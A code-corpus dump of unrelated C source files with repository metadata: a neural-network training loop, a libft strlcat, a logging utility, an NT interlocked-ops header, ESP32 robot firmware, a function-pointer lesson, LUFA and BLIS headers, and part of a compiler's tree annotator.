6aeb04fb9ef6ad5f2f917d437f738e093ec831c2 | c41ec65b872b24a6ae30a00d191654e47ec2568d | /face_recognition/network/main.c | 8296414449ce2aab2b11d73e9b2ad7c62cd15e78 | [] | no_license | MattVil/Face_Key | 3221d2d4eb80d80fa34e20cdde03eccb5a376e86 | 41370806c01fb2dcb6cfacc8e9315fd7b8929e2c | refs/heads/master | 2021-03-19T18:28:44.791401 | 2018-05-19T11:49:50 | 2018-05-19T11:49:50 | 105,790,030 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,977 | c | #include "mlp.h"
int main(int argc, char const *argv[]) {
//training file
int nb_img;
nb_img = open_training_files();
//test file
int nb_img_test;
nb_img_test = open_test_files();
Network network = build_neural_network();
int x;
for(x=0; x<network.nb_layor; x++){
printf("%d : %lf\n", x, network.tab_layor[x].dropout);
}
printf("\n########### TRAINING... ############\n");
int i, j, z, p;
for(j=0; j<5; j++){
for(i=0; i<60000; i++){
Image img;
read_input_number(i, &img);
double error = train_network(&network, &img);
/*printf("%d %d %d\n", network.tab_layor[1].nb_neuron, network.tab_layor[2].nb_neuron, network.tab_layor[3].nb_neuron);
for(z=1; z<NB_LAYOR; z++){
for(p=0; p<network.tab_layor[z].nb_neuron; p++){
printf("%d", network.tab_layor[z].dropVect[p]);
}
printf("\t");
}
printf("\n");*/
if(i%100 == 0) printf("%d - %d :\t%lf\n", j, i, error);
//if(i%1 == 0) printf("%d : ", i);
}
}
printf("Done.\n\n############# TEST... #############\n");
int good_result = 0, bad_result = 0;
for(j=0; j<10000; j++){
int nb = rand()%(10000-1) +1;
Image img2;
read_input_number_test(nb, &img2);
put_img_in_input(&network, &img2);
compute_output(&network);
//printf("Image n°%d : %d\t", j, img2.label);
//affiche_img(&img2);
int network_value = convert_result(network);
if(network_value == img2.label)
good_result++;
else
bad_result++;
//printf("Network : %d\t", network_value);
//printf("at %.2f%%\n", network.tab_layor[NB_LAYOR-1].tab_neuron[network_value].value * 100);
}
printf("##### Good result : %.2f %% ######\n", ((double)good_result/10000)*100.0);
/*double tab[10] = {3.0, 1.0, 2.0, -2.0, 0.326, 1.25, 0.0001, 0.326, 1.25, 0.0001};
double* prob = softMax(tab);
int i;
for(i=0; i<NB_NEURON_OUTPUT; i++)
printf("% lf ", prob[i]);
printf("\n");*/
return 0;
}
| [
"mattvilain@gmail.com"
] | mattvilain@gmail.com |
28c4564e66992da1dde7d5a624f74ae9d57bf265 | b3a4cc8f037ebe8cd2fd338b220847d820b9ebcb | /libft/ft_strlcat.c | 1442d853aae8e684baaa220bca3ebdb326dea92b | [
"MIT"
] | permissive | SpenderJ/Corewar | 96ad25364a9cd00f1ff24cfa05c688e4fa48127a | 5ae6c9aab7057f0f6dc53ff7252eed9e703b5d5e | refs/heads/master | 2020-05-16T22:04:05.306013 | 2019-04-25T01:21:44 | 2019-04-25T01:21:44 | 183,324,940 | 1 | 0 | null | 2019-04-25T01:21:46 | 2019-04-25T00:18:47 | C | UTF-8 | C | false | false | 1,414 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlcat.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jebossue <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/11/04 11:55:11 by jebossue #+# #+# */
/* Updated: 2016/11/25 14:28:53 by jebossue ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
size_t ft_strlcat(char *dest, const char *src, size_t size)
{
unsigned int i;
unsigned int j;
unsigned int dest_length;
dest_length = ft_strlen(dest);
i = 0;
while (dest[i])
i++;
j = 0;
while (src[j] && i < size - 1)
{
dest[i] = src[j];
i++;
j++;
}
dest[i] = '\0';
if (size == dest_length + ft_strlen(src))
return (size);
if (size < dest_length)
return (ft_strlen(src) + size);
if (dest_length + ft_strlen(src) > size)
return (dest_length + ft_strlen(src));
return (i);
}
| [
"juspende@e1z3r1p19.42.us.org"
] | juspende@e1z3r1p19.42.us.org |
109c58bc4c8373d3d53691af3482bbf0a1fb3b8b | 0662c990d0266776369dcfcd77de53a4c0b960ad | /asst3/dumb/utils.c | e7bbf1092e924b8acb69c215a400c42c753f29cb | [] | no_license | galudino/sysprog_2019 | bce2e8da6df4dd9db2a39c4a9d948c013aa13a06 | 37b57b4e55669651fe97d09f958083ca62c0326c | refs/heads/master | 2021-06-24T18:26:29.126388 | 2021-02-17T04:45:22 | 2021-02-17T04:45:22 | 206,181,922 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 7,426 | c | /**
* @file utils.c
* @brief Source file utility functions, macros, etc.
*
* @author Gemuele Aludino
* @date 02 Dec 2019
* @copyright Copyright © 2019 Gemuele Aludino
*/
/**
* Copyright © 2019 Gemuele Aludino
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH
* THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "utils.h"
#include <assert.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
void str_delete(void *arg) {
char **str = (char **)(arg);
free((*str));
(*str) = NULL;
}
int str_compare(const void *c1, const void *c2) {
char **s1 = (char **)(c1);
char **s2 = (char **)(c2);
return strcmp((*s1), (*s2));
}
void str_print(const void *arg, FILE *dest) {
char **str = (char **)(arg);
fprintf(dest, "%s", (*str));
}
char *str_trim_left(char *to_trim, const char *charset) {
size_t trim_length = 0;
if (strcmp(to_trim, "") == 0) {
return to_trim;
}
if (charset == NULL) {
charset = ESC_CHARS; /**< "\t\n\v\f\r\" */
}
trim_length = strspn(to_trim, charset);
if (trim_length > 0) {
size_t str_length = strlen(to_trim);
if (trim_length == str_length) {
to_trim[0] = NULL_TERMINATOR;
} else {
memmove(to_trim, to_trim + trim_length, str_length + 1 - trim_length);
}
}
return to_trim;
}
char *str_trim_right(char *to_trim, const char *charset) {
size_t i = 0;
if (strcmp(to_trim, "") == 0) {
return to_trim;
}
if (charset == NULL) {
charset = ESC_CHARS; /**< "\t\n\v\f\r\" */
}
i = strlen(to_trim) - 1;
while (strchr(charset, to_trim[i]) != NULL) {
to_trim[i] = NULL_TERMINATOR;
i--;
}
return to_trim;
}
char *str_trim(char *to_trim, const char *charset) {
if (strcmp(to_trim, "") == 0) {
return to_trim;
}
return str_trim_left(str_trim_right(to_trim, charset), charset);
}
bool ulog_attrs_disable[] = { false, false, false, false, false, false, false };
/**
* Utility function for debugging/error messages
*
* @param[in] dest stream destination
* @param[in] level literals "BUG", "ERROR", "WARNING", or "LOG"
* @param[in] file macro __FILE__ is to be used here (by client)
* @param[in] func macro __func__ is to be used here
* @param[in] line macro __LINE__ is to be used here
* @param[in] fmt formatting to be used
*
* @return character count of buffer (from fprintf)
*/
int ulog(FILE *dest,
const char *level,
const char *file,
const char *func,
long double line,
const char *fmt,
...) {
char buffer[MAXIMUM_STACK_BUFFER_SIZE];
char temp[256];
const char *color = KNRM;
const char *blink = "";
bool found = false;
bool is_integer = false;
bool is_currency = *file == '$';
int j = 0;
if (streql(level, "[BUG]")) {
color = KYEL_b;
found = true;
}
if (found == false) {
if (streql(level, "[LOG]")) {
color = KCYN_b;
found = true;
}
}
if (found == false) {
if (streql(level, "[ERROR]")) {
color = KRED_b;
blink = KBNK;
found = true;
}
}
if (found == false) {
if (streql(level, "[WARNING]")) {
color = KMAG_b;
blink = KBNK;
}
}
sprintf(temp, "%Lf", line);
/* char digit = strchr(temp, '.'); */
#if __STD_VERSION__ >= 199901L
is_integer = line / (long long int)(line) == 1.000000 || line == 0.00000;
#else
is_integer = line / (long int)(line) == 1.000000 || line == 0.00000;
#endif /* __STDC_VERSION__ >= 199901L */
is_integer = is_currency ? false : is_integer;
if (ulog_attrs_disable[DATE] == false) {
char date[1024];
sprintf(date, "%s%s%s ", KGRY, __DATE__, KNRM);
j += sprintf(buffer + j, "%s", date);
}
if (ulog_attrs_disable[TIME] == false) {
char time[1024];
sprintf(time, "%s%s%s ", KGRY, __TIME__, KNRM);
j += sprintf(buffer + j, "%s", time);
}
if (ulog_attrs_disable[LEVEL] == false) {
char leveltype[1024];
sprintf(leveltype, "%s%s%s%s ", blink, color, level, KNRM);
j += sprintf(buffer + j, "%s", leveltype);
}
if (ulog_attrs_disable[FILENAME] == false && ulog_attrs_disable[LINE]) {
char filename[1024];
sprintf(filename, "[%s] ", file);
j += sprintf(buffer + j, "%s", filename);
} else if (ulog_attrs_disable[FILENAME] && ulog_attrs_disable[LINE] == false) {
char linenumber[1024];
if (is_integer) {
#if __STD_VERSION__ >= 199901L
sprintf(linenumber, "[%lli] ", (long long int)(line));
#else
sprintf(linenumber, "[%li] ", (long int)(line));
#endif
} else {
if (is_currency) {
sprintf(linenumber, "[%0.2Lf] ", line);
} else {
sprintf(linenumber, "[%Lf] ", line);
}
}
j += sprintf(buffer + j, "%s", linenumber);
} else if (ulog_attrs_disable[FILENAME] == false && ulog_attrs_disable[LINE] == false) {
char fileline[1024];
if (is_integer) {
#if __STD_VERSION__ >= 199901L
sprintf(fileline, "[%s:%lli] ", file, (long long int)(line));
#else
sprintf(fileline, "[%s:%li] ", file, (long int)(line));
#endif
} else {
if (is_currency) {
sprintf(fileline, "[%s%0.2Lf] ", file, line);
} else {
sprintf(fileline, "[%s:%Lf] ", file, line);
}
}
j += sprintf(buffer + j, "%s", fileline);
}
if (ulog_attrs_disable[FUNCTION] == false) {
char function[1024];
sprintf(function, "%s%s", KCYN, func);
j += sprintf(buffer + j, "%s", function);
}
if (ulog_attrs_disable[FUNCTION] == false && ulog_attrs_disable[MESSAGE] == false) {
j += sprintf(buffer + j, "%s", " ");
}
if (ulog_attrs_disable[MESSAGE] == false) {
char message[4096];
va_list args;
va_start(args, fmt);
vsprintf(message, fmt, args);
va_end(args);
j += sprintf(buffer + j, "%s%s%s", KNRM_b, message, KNRM);
}
return fprintf(dest, "%s\n", buffer);
}
| [
"g.aludino@gmail.com"
] | g.aludino@gmail.com |
88fdfed2e496c674bd8691cc8b0256b6624c7192 | 91a882547e393d4c4946a6c2c99186b5f72122dd | /Source/XPSP1/NT/net/sfm/afp/server/intrlckd.h | abb55f591e508c894f9a24af24fd851976194cd2 | [] | no_license | IAmAnubhavSaini/cryptoAlgorithm-nt5src | 94f9b46f101b983954ac6e453d0cf8d02aa76fc7 | d9e1cdeec650b9d6d3ce63f9f0abe50dabfaf9e2 | refs/heads/master | 2023-09-02T10:14:14.795579 | 2021-11-20T13:47:06 | 2021-11-20T13:47:06 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,839 | h | /*
Copyright (c) 1992 Microsoft Corporation
Module Name:
intrlckd.h
Abstract:
This module defines the routines that should have been in the EX package.
This manipulates inter-locked operations on flags and such.
Author:
Jameel Hyder (microsoft!jameelh)
Revision History:
5 Sep 1992 Initial Version
Notes: Tab stop: 4
--*/
#ifndef _INTRLCKD_
#define _INTRLCKD_
extern
VOID FASTCALL
AfpInterlockedSetDword(
IN PDWORD pSrc,
IN DWORD Mask,
IN PAFP_SPIN_LOCK pSpinLock
);
extern
VOID FASTCALL
AfpInterlockedClearDword(
IN PDWORD pSrc,
IN DWORD Mask,
IN PAFP_SPIN_LOCK pSpinLock
);
extern
VOID FASTCALL
AfpInterlockedSetNClearDword(
IN PDWORD pSrc,
IN DWORD SetMask,
IN DWORD ClrMask,
IN PAFP_SPIN_LOCK pSpinLock
);
// Macros for Interlocked/ExInterlocked calls
//
// For future reference, here is the difference between all the different
// kernel mode interlocked routines:
//
// InterlockedIncrement/Decrement - fastest on all platforms, inlined
// where appropriate to avoid call overhead. No spinlock required, usable
// on paged data. Operation is atomic ONLY with respect to other Interlocked
// calls.
//
// ExInterlockedIncrement/Decrement - not as efficient, requires a function
// call and a spinlock. Operation is atomic ONLY with respect to other
// ExInterlockedIncrement/Decrement calls. There is no reason to use this
// instead of InterlockedIncrement/Decrement. Does not actually acquire the
// spinlock. Required for backwards compatibility.
//
// ExInterlockedAddUlong - most inefficient, requires a function call and a
// spinlock. Spinlock is actually acquired, so the operation is atomic with
// respect to anything that acquires the same spinlock.
//
#define INTERLOCKED_INCREMENT_LONG(p) InterlockedIncrement(p)
#define INTERLOCKED_DECREMENT_LONG(p) InterlockedDecrement(p)
#define INTERLOCKED_ADD_STATISTICS(p, v, l) ExInterlockedAddLargeStatistic(p, v)
#define INTERLOCKED_INCREMENT_LONG_DPC(p,l) InterlockedIncrement(p)
#define INTERLOCKED_DECREMENT_LONG_DPC(p,l) InterlockedDecrement(p)
#ifdef NT40
#define INTERLOCKED_ADD_ULONG(p, v, l) ExInterlockedExchangeAdd(p, v)
#else
#define INTERLOCKED_ADD_ULONG(p, v, l) ExInterlockedAddUlong(p, v, &(l)->SpinLock)
#endif
#define INTERLOCKED_ADD_ULONG_DPC(p, v, l) ExInterlockedAddUlong(p, v, l)
#define INTERLOCKED_ADD_LARGE_INTGR(p, v, l) ExInterlockedAddLargeInteger(p, v, &(l)->SpinLock)
#define INTERLOCKED_ADD_LARGE_INTGR_DPC(p, v, l) ExInterlockedAddLargeInteger(p, v, &(l)->SpinLock)
#endif // _INTRLCKD_
| [
"support@cryptoalgo.cf"
] | support@cryptoalgo.cf |
05f46edc3d35c19acfea752b921f66ef5ac4f282 | 8a8dc634a80febfde2113b6ade276df40b77df7e | /ESP32_E-Puck_2/main/main_e-puck2.c | 4256f8613ba2601b8d5bf4c1a443586bcf02799f | [] | no_license | taraspavliv/RobotiqueProject | 55d770eef8ee96f51c435dc6fdf94898b202f10f | f857527b0c5613c3faf1961751e26d3139dcc5ca | refs/heads/main | 2023-05-04T06:59:08.599736 | 2021-05-16T18:47:54 | 2021-05-16T18:47:54 | 342,182,874 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,065 | c | /*
File : main_e-puck2.c
Author : Eliot Ferragni
Date : 12 november 2017
REV 1.0
Firmware to be run on the ESP32 of the e-puck2
*/
#define __BTSTACK_FILE__ "ESP32_E-Puck_2.c"
#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/xtensa_api.h"
#include "freertos/queue.h"
#include "esp_attr.h"
#include "esp_err.h"
#include "main_e-puck2.h"
#include "rgb_led_e-puck2.h"
#include "uart_e-puck2.h"
#include "bluart_e-puck2.h"
#include "rfcomm_e-puck2.h"
#include "button_e-puck2.h"
#include "spi_e-puck2.h"
extern int btstack_main(void);
void app_main(void)
{
rgb_init();
button_init();
bluart_init();
//uart_init();
spi_init();
//a bluetooth echo example
//Due to a very strange bug of freeRTOS implementation in the ESP32 environment, the tasks related to the bluetooth
//generate errors in the handling of the semaphores when freeRTOS can choose on which core to execute them.
//If we specifiy the core for the tasks, it works, no matter which core is chosen for each task.
// xTaskCreatePinnedToCore(&example_echo_bluetooth_task_channel_1, "example_echo_bluetooth_task",
// EXAMPLE_ECHO_STACK_SIZE, NULL, EXAMPLE_ECHO_PRIO, NULL, CORE_1);
// xTaskCreatePinnedToCore(&example_echo_bluetooth_task_channel_2, "example_echo_bluetooth_task2",
// EXAMPLE_ECHO_STACK_SIZE, NULL, EXAMPLE_ECHO_PRIO, NULL, CORE_1);
//xTaskCreatePinnedToCore(&example_echo_bluetooth_task_channel_3, "example_echo_bluetooth_task3",
// EXAMPLE_ECHO_STACK_SIZE, NULL, EXAMPLE_ECHO_PRIO, NULL, CORE_1);
//A uart read/write example without event queue;
//xTaskCreate(echo_task, "uart_echo_task", ECHO_TASK_STACK_SIZE, NULL, ECHO_TASK_PRIO, NULL);
// SPI communication task.
xTaskCreatePinnedToCore(spi_task, "spi_task", SPI_TASK_STACK_SIZE, NULL, SPI_TASK_PRIO, NULL, CORE_1);
//btstack works as a loop called from the main. So every other task should be created before the call
//of this function
//main runs always on core 0
btstack_main();
}
| [
"taras.pavliv@hotmail.com"
] | taras.pavliv@hotmail.com |
f070bf24c10a964aae63f1b4ab81feada7f68174 | a196afa943fad1c6113c4e9591835733927cddf7 | /lesson_32/src/function_address_pointer.c | 9eeabec79e7a33380127ee42b1544074d11f2473 | [] | no_license | mmtaksuu/c_couse_notes | 89050d388cc862f08385b5ee64378608c0d33c3a | f4878feb8a15557be1a8d48b51a1b148a0c2a5b0 | refs/heads/master | 2021-01-01T00:30:31.406960 | 2020-11-27T18:05:57 | 2020-11-27T18:05:57 | 239,097,691 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,994 | c | /**
* @file : LESSON_32 project file
* @author : MEHMET AKSU
* @note : mmtaksu.25@gmail.com
* @date : 02 / Mart / 2020
* @code : function_address_pointer_01.c file
* @details :
*/
#include <stdio.h>
#include <string.h>
// strcmp gibi bir fonksiyonun adresini tutan degisken turunun typedef bildiriminin yapilmasi
typedef int(*FCMP)(const char *, const char *);
//geri dönüş değeri olmayan parametresi strcmp gibi bir fonksiyonun adresini isteyen ismi foo olan fonksiyonu bildirin
void foo1(int(*fp)(const char *, const char *));
void foo2(FCMP fp);
//geri dönüş değeri olmayan parametre olarak strcmp gibi bir fonksiyonun adresini isteyen iki parametre alan ve ismi func olan fonksiyonu bildirin
void func1(int(*fp1)(const char *, const char *), int(*fp2)(const char *, const char *));
void func2(FCMP fp1, FCMP fp2);
//geri dönüş değeri strcmp gibi bir foksiyonun adresi olan ve parametre olarak strcmp gibi bir fonksiyonun adresini isteyen iki parametre alan ve ismi f olan fonksiyonu bildirin
int(*f1(int(*fp1)(const char *, const char *), int(*fp2)(const char *, const char *)))(const char *, const char *);
FCMP f2(FCMP fp1, FCMP fp2);
int main(void)
{
// strcmp'nin adresini tutan bir pointer degiskeninin tanimi
int(*fpx1)(const char *, const char *) = &strcmp;
FCMP fpx2 = &strcmp;
// strcmp ile ayni parametre sayisi, turu ve geri donus degerine sahip 3 farkli fonksiyonun adresini tutan bir function pointer array degiskeninin tanimi
int(*fpa1[])(const char *, const char *) = { strcmp, strcoll, _stricmp };
FCMP fpa2[] = { strcmp, strcoll, _stricmp };
// fpx function pointer degiskeninin adresini tutan bir pointer degiskeninin tanimi
int(**fpp11)(const char *, const char *) = &fpx1;
FCMP *fpp12 = &fpx2;
// fpa function pointer array degiskeninin adresini tutan bir pointer degiskeninin tanimi
int(**fpp21)(const char *, const char *) = &fpa1;
FCMP *fpp22 = &fpa2;
return 0;
}
| [
"mmtaksu.34@hotmail.com"
] | mmtaksu.34@hotmail.com |
c495a70b8bb307246a286548950391e5d2fc0e0e | ac1d7bb3375a219907ae87cc10ea2ba4e9906eef | /mainAnchor.h | 76e422b55e52d16b72313aa7214eecf78427a54a | [
"Apache-2.0"
] | permissive | devkotaprativa/masteranchor | c71e50137c070df93587e18f98e58ea7b20eb576 | ef0b7f3edb8ca9e72626d703f5dcd98a0054c616 | refs/heads/master | 2020-03-19T01:57:34.200461 | 2018-05-31T13:25:04 | 2018-05-31T13:25:04 | 135,586,243 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 668 | h | /*
Extended DW1000 Ranging example for radino32 DW1000 and radinoL4 DW1000
Based on Decawave DW1000 example library
2017 In-Circuit GmbH
wiki.in-circuit.de
*/
#include <Arduino.h>
#include <EEPROM.h>
#include <SPI.h>
#include <Wire.h>
#include "IC_DW1000_Ranging_local.h"
#include "common.h"
void setup_anchor(uint16_t userShortAddress, bool startAsTag = false, uint32_t userAntennaDelay = 0xFFFFFFFF,bool isMaster=false);
void loop_anchor();
void printDeviceTable();
void measureComplete();
void newRange_anchor();
void masterRange_anchor(byte* tagAddress, byte* ancAddress, float range, float power);
void checkCommandMenu_anchor(); | [
"devkotaprativa@gmail.com"
] | devkotaprativa@gmail.com |
029f7dfd9d33ed9b889a352d144161ada6b42e14 | 717bc5628f3c2fd8890893a23519f18d4ae7c17d | /prova1/3_2nd.c | e616716ef2fbe79acc68eb734207744efca6a4f6 | [] | no_license | amelco/ITP | e0c027259ea77b4dc5f5e8b741f0252d412e00df | 2d3b645b7540d841ad434070a22a900e290905c1 | refs/heads/master | 2020-06-23T18:45:07.591068 | 2019-11-01T22:25:08 | 2019-11-01T22:25:08 | 198,720,491 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 235 | c | #include <stdio.h>
int main() {
char txt1[50];
char txt2[50];
char res[100];
scanf("%s %s", txt1, txt2);
int i=0;
while(i<100) {
if (i%2==0) {
}
i++;
}
return 0;
} | [
"amelco.herman@gmail.com"
] | amelco.herman@gmail.com |
627b6ff2079d400ba2915bf40059f0171085a32f | 19e7a8650e2a6814fd256e42d4cc9b09c447efb3 | /gadget/LUFA/Demos/Host/LowLevel/MouseHostWithParser/MouseHostWithParser.h | 92782cf750ae16bd7d747c0dd42afdf6daf90904 | [] | no_license | smartwanwan/teensy | ec7799d6993d1723fd57395c14c7eb7544b7c577 | 8b0f1e99afd09666bb435b8b2f54dbd42e727f5c | refs/heads/master | 2020-06-03T01:37:19.027859 | 2009-12-09T00:36:05 | 2009-12-09T00:36:05 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,957 | h | /*
LUFA Library
Copyright (C) Dean Camera, 2009.
dean [at] fourwalledcubicle [dot] com
www.fourwalledcubicle.com
*/
/*
Copyright 2009 Dean Camera (dean [at] fourwalledcubicle [dot] com)
Permission to use, copy, modify, and distribute this software
and its documentation for any purpose and without fee is hereby
granted, provided that the above copyright notice appear in all
copies and that both that the copyright notice and this
permission notice and warranty disclaimer appear in supporting
documentation, and that the name of the author not be used in
advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
The author disclaim all warranties with regard to this
software, including all implied warranties of merchantability
and fitness. In no event shall the author be liable for any
special, indirect or consequential damages or any damages
whatsoever resulting from loss of use, data or profits, whether
in an action of contract, negligence or other tortious action,
arising out of or in connection with the use or performance of
this software.
*/
/** \file
*
* Header file for MouseHostWithParser.c.
*/
#ifndef _MOUSE_HOST_H_
#define _MOUSE_HOST_H_
/* Includes: */
#include <avr/io.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
#include <avr/power.h>
#include <stdio.h>
#include <LUFA/Version.h>
#include <LUFA/Drivers/Misc/TerminalCodes.h>
#include <LUFA/Drivers/Peripheral/SerialStream.h>
#include <LUFA/Drivers/Board/LEDs.h>
#include <LUFA/Drivers/USB/USB.h>
#include "ConfigDescriptor.h"
#include "HIDReport.h"
/* Macros: */
/** Pipe number for the mouse report data pipe */
#define MOUSE_DATAPIPE 1
/** LED mask for the library LED driver, to indicate that the USB interface is not ready. */
#define LEDMASK_USB_NOTREADY LEDS_LED1
/** LED mask for the library LED driver, to indicate that the USB interface is enumerating. */
#define LEDMASK_USB_ENUMERATING (LEDS_LED2 | LEDS_LED3)
/** LED mask for the library LED driver, to indicate that the USB interface is ready. */
#define LEDMASK_USB_READY (LEDS_LED2 | LEDS_LED4)
/** LED mask for the library LED driver, to indicate that an error has occurred in the USB interface. */
#define LEDMASK_USB_ERROR (LEDS_LED1 | LEDS_LED3)
/* Function Prototypes: */
void Mouse_HID_Task(void);
void SetupHardware(void);
void EVENT_USB_Host_HostError(const uint8_t ErrorCode);
void EVENT_USB_Host_DeviceAttached(void);
void EVENT_USB_Host_DeviceUnattached(void);
void EVENT_USB_Host_DeviceEnumerationFailed(const uint8_t ErrorCode, const uint8_t SubErrorCode);
void EVENT_USB_Host_DeviceEnumerationComplete(void);
void ProcessMouseReport(uint8_t* MouseReport);
#endif
| [
"Thomas.DuBuisson@gmail.com"
] | Thomas.DuBuisson@gmail.com |
ed09a176186b2c6a431dfa2ad19aa2bc0bf639c8 | e2053eada4623230c25f11128e49d7671e3978df | /frame/3/trsm/4m/bli_trsm4m.h | 06374c3c65a653a42f5e421d073afb2150b0ec1a | [
"BSD-3-Clause"
] | permissive | tkelman/blis | c59d210edad783dc76b733da31a7c71332218bac | ee2b679281ca45fb40b2198e293bc3bc3d446632 | refs/heads/master | 2020-12-24T10:11:47.895467 | 2014-06-06T17:41:55 | 2014-06-06T17:41:55 | 20,832,649 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,647 | h | /*
BLIS
An object-based framework for developing high-performance BLAS-like
libraries.
Copyright (C) 2014, The University of Texas
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of The University of Texas nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "bli_trsm4m_cntl.h"
#include "bli_gemmtrsm4m_l_ukr_ref.h"
#include "bli_gemmtrsm4m_u_ukr_ref.h"
#include "bli_trsm4m_l_ukr_ref.h"
#include "bli_trsm4m_u_ukr_ref.h"
//
// Prototype object-based interface.
//
void bli_trsm4m( side_t side,
obj_t* alpha,
obj_t* a,
obj_t* b );
//
// Prototype BLAS-like interfaces with homogeneous-typed operands.
//
#undef GENTPROT
#define GENTPROT( ctype, ch, opname ) \
\
void PASTEMAC(ch,opname)( \
side_t side, \
uplo_t uploa, \
trans_t transa, \
diag_t diaga, \
dim_t m, \
dim_t n, \
ctype* alpha, \
ctype* a, inc_t rs_a, inc_t cs_a, \
ctype* b, inc_t rs_b, inc_t cs_b \
);
INSERT_GENTPROT_BASIC( trsm4m )
| [
"field@cs.utexas.edu"
] | field@cs.utexas.edu |
526ba1c1c892e4d54069bb4125721ebf6f29ca99 | 827853c0a159bb34a1518f72ceb979d02023d234 | /Meta3/annotTree.c | 4bf6e2961c2afc9d390ab9e958c6cc2ffbd2624f | [] | no_license | jmsmarques/compiladores | df9e2d6c1712f9efae17c4c430cd492c5d13ac16 | 0774592c072338b34d7d887920b41cafa7c466c8 | refs/heads/master | 2021-04-28T18:29:17.576721 | 2018-06-01T16:51:21 | 2018-06-01T16:51:21 | 121,872,604 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 16,400 | c | #include "structs.h"
char* checkVarType(char* string) {
char* aux = NULL;
if(!string)
return NULL;
if((strncmp(string, "IntLit", 6) == 0) || (strncmp(string, "int", 3) == 0)) {
aux = strdup("int");
}
else if(strncmp(string, "ChrLit", 6) == 0) {
aux = strdup("int");
}
else if(strncmp(string, "RealLit", 7) == 0 || strncmp(string, "double", 6) == 0) {
aux = strdup("double");
}
else if(strncmp(string, "char", 4) == 0) {
aux = strdup("char");
}
else if(strncmp(string, "void", 4) == 0) {
aux = strdup("void");
}
else if(strncmp(string, "short", 5) == 0) {
aux = strdup("short");
}
else if(strcmp(string, "undef") == 0) {
aux = strdup("undef");
}
if(aux)
return aux;
return NULL;
}
void annoteTree(node root, gTable symTab, table auxSymTab) {
if(root && !root->type) {
if(checkIfId(root->tag)) {
analiseVarId(root, symTab, auxSymTab);
}
else if(strcmp(root->tag, "Call") == 0) {
annoteTree(root->child, symTab, auxSymTab);
if(strcmp(root->child->type, "undef") != 0) {
if(!analiseFuncId(root->child, root->child->tag, symTab)) {
node aux = root->child->sibling;
while(aux) {
annoteTree(aux, symTab, auxSymTab);
aux = aux->sibling;
}
analiseFuncCall(root->child, root->child->tag, symTab);
free(aux);
}
root->type = checkVarType(root->child->type);
}
else {
root->type = strdup("undef");
}
}
else if(strcmp(root->tag, "Store") == 0) {
annoteTree(root->child, symTab, auxSymTab);
annoteTree(root->child->sibling, symTab, auxSymTab);
if(checkIfFunction(root->child->type)) {
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
root->type = strdup("undef");
}
else {
analiseStore(root);
root->type = checkVarType(root->child->type);
}
}
else if(checkIfOperation(root->tag)) {
//printf("-->%s\n", root->tag);
annoteTree(root->child, symTab, auxSymTab);
annoteTree(root->child->sibling, symTab, auxSymTab);
checkOperationType(root, symTab, auxSymTab);
//printf("--->%s = %s\n", root->tag, root->type);
}
else if(checkIfSpecialLogicalOperation(root->tag)) {
annoteTree(root->child, symTab, auxSymTab);
